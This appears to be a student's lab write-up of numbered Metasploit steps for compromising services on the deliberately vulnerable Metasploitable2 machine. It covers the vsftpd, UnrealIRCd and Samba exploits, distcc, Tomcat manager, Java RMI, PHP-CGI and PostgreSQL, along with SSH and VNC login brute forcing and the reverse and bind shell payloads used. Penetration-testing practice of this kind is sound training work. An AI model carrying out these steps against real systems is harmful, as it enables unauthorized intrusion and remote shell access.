To exploit vulnerability associated in metasploitable2.

- July 26, 2022

Metasploit .vul :-1

FTP vsftpd 2.3.4

Backdoor command vulnerability

Steps:

Scan the network using nmap. Nmap –v –A –T4 192.168.5.235

Now open your metasploit framework and search vsftpd

Now use exploit/unix/ftp/vsftpd_234_backdoor.and exploit it

Now search shell_to_meterpreter. Use /multi/manage/shell_to_meterpreter.

Now interact both sessions.

Now run the basic commands.

Metasploit .vul :-2

TCP-22 SSH

Open SSH 4.7p1 Debian 8unbuntu1 (protocol2.0)

Steps:-

Scan the network using nmap. Nmap –sV 192.168.5.237

Open Metasploit and Search for the auxiliary for SSH Login. Command will be “search ssh_login”

Use the appropriate auxiliary module by typing command “Use 0” and Set the IP of victim machine as RHOSTS global variable by typing command “set rhosts 192.168.5.237”

For setting the options, type “options” for finding out required field and Set the path of username and password file to USERPASS_FILE option. Also set STOP_ON_SUCCESS and VERBOSE as true. Set the THREADS to 10.

After running the exploit, MSF will brute force login and will stop attack after finding valid combination.

Now start sessions “sessions –I 1” and now shell is opened so use shell commands.

PRACTICAL-3

Port Number: TCP-23

Service: Telnet

Vulnerability name: Linuxtelnetd

Steps

Scan the network for finding the vulnerabilities.

Nmap –v –A –T4 192.168.5.235

Now type telnet 192.168.5.235

Now open Wireshark and check the packet

Now right click on selected packet and follow the tcp stream.

Metasploit .vul :-4

Port Number: TCP-1099

Service: TCP-1099 java-rmi

Vulnerability name: GNU Class path grmiregistry

Steps

Scan the network using nmap. Nmap –sV 192.168.60.139

Now use exploit (multi/misc/java_rmi_server) and check options.

Now set RHOST.

Set URI Path as Root and show options.

Show targets. And use relevant target here mostly use generic.

Set default payload.

Now exploit it and use.

Metasploit .vul:- 5

port 8180 and Tomcat service

steps

scan the nmap result

Find tomcat service port

Type command- search tomcat and search for the login module

Now search for the options by the command – show options

Now set the rhosts, rport, and set stop_on_success as true

After we enter run, check the successful

Now, search for tomcat_mgr that is a tomcat manager

Now, exploit the tomcat

As we have exploited and entered into the meterpreter. We can run the commands like sysinfo to know the information of the system.

Now, we have entered into the shell by the command shell, so we can view the directories by ls

Metasploit .vul :-6

port 53/tcp open domain ISC BIND 9.4.2

steps

scan nmap result.

Search bailiwicked_domain and use spoof/dns/bailiwicked_domain.

Go to wireshark and eth0 .

Open dns packet

Metasploit .vul :-7

Port :- 6667 IRC server

Go to Metasploit and search unreal_ircd .

Use unix/irc/unreal_ircd_3281_backdoor

Use payload :- 0,2

Cmd/unix/bind_perl

Cmd/unix/bind_ruby

Metasploit .vul :- 8

Port :- 139 netbios-ssn

Samba usermap script vulnerability

Go to Metasploit and search usermap_script

Use multi/samba/usermap_script

Use payload :- no use ,18 ,

cmd/unix/reverse

Metasploit .vul :- 9

Port :- 3632 distccd

Search distcc_exec and use unix/misc/distcc_exec

Use payload :- 5

cmd/unix/reverse

Metasploit .vul :-10

PHP up to versions 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability

port :- 80

steps

Go to browser and check php configuration file path .

Go to msf .

Search php_cgi_arg and use multi/http/php_cgi_arg_injection.

Metasploit .vul :-11

Port :-80

TWiki history TWikiUsers rev Parameter command execution

steps

Search twiki_history and use unix/webapp/twiki_history

Use payload “cmd/unix/bind_perl”

Metasploit .vul :- 12

Port :- 445

samba is running on both port 139 and 445 , we will be exploiting it using Metasploit . The default port for this exploit is set to port 139 but it can be changed to port 445 as well .

Metasploit .vul :- 13

Port :- 5432

Got to msf ,search postgres_payload and use linux/postgres/postgres_payload .

Set RHOSTS,

LHOST= linux <IP>

Metasploit .vul :- 14

port 6667 has the Unreal IRCD service running , we will exploit is using a backdoor that's available in Metasploit .

Port :- 6667

Search unreal_ircd and use unix/irc/unreal_ircd_3281_backdoor .

Set payload :- 2,5

Cmd/unix/bind_perl

Cmd/unix/reverse

Metasploit .vul :- 15

Port :-6697

Search unreal_ircd and use unix/irc/unreal_ircd_3281_backdoor .

Set payload “cmd/unix/reverse”

Metasploit .vul :- 16

Port :- 5900

This module will test a VMC server on a range of machines and report successful logins. Currently, it supports RCB protocol version 3.3, 3.7 and 3.8 using the VNC challenge-response authentication mothod .

steps

search vnc_login use scanner/vnc/vnc_login.